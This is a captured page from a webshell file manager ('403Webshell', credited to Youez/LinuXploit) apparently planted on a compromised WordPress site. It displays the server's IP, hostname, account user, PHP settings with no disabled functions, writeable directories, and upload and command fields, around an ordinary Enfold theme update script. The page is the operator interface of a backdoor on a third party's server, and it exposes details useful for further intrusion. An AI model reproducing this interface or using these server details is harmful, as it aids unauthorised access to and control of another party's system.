403Webshell
Server IP : 81.19.159.101  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux www58.world4you.com 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64
User : ftp8817043 ( 2681)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/.sites/103/site8817043/web/wp-content/themes/enfold/includes/admin/update_scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/.sites/103/site8817043/web/wp-content/themes/enfold/includes/admin/update_scripts/v4_1.php
<?php
/**
 * update for version 4.1
 *
 * update the main menu icon and move the scale and color from advanced editor to a normal option
 */
if( ! defined( 'ABSPATH' ) ) {  exit;  }    // Exit if accessed directly

//fetch advanced data
global $avia;

$theme_options = $avia->options['avia'];
$advanced = avia_get_option('advanced_styling');

if(isset($theme_options['menu_display']) && $theme_options['menu_display'] == 'burger_menu')
{
	$theme_options['overlay_style'] = 'av-overlay-full';
	$theme_options['submenu_clone'] = 'av-submenu-noclone';
	$theme_options['submenu_visibility'] = 'av-submenu-hidden av-submenu-display-hover';
}
else
{
	$theme_options['overlay_style'] = 'av-overlay-side av-overlay-side-classic';

	if(isset($theme_options['header_mobile_behavior']) && $theme_options['header_mobile_behavior'] != "")
	{
		$theme_options['submenu_visibility'] = 'av-submenu-hidden av-submenu-display-click';
	}
	else
	{
		$theme_options['submenu_visibility'] = '';
	}

	$theme_options['submenu_clone'] = 'av-submenu-noclone';
}

if(!empty($advanced))
{
	foreach($advanced as $rule)
	{
		if( isset($rule) && $rule['id'] == 'main_menu_icon_style' )
		{
			if( ! empty( $rule['color'] ) )
			{
				$theme_options['burger_color'] = $rule['color'];
			}

			if( ! empty( $rule['size'] ) )
			{
				$theme_options['burger_size'] = 'av-small-burger-icon';
			}

			break;
		}
	}
}


//replace existing options with the new options
$avia->options['avia'] = $theme_options;
update_option($avia->option_prefix, $avia->options);

if( defined( 'WP_DEBUG' ) && WP_DEBUG )
{
	error_log( esc_html( __( 'Executed theme update script:', 'avia_framework' ) ) . ' ' . basename( __FILE__ ) );
}

Youez - 2016 - github.com/yon3zu
LinuXploit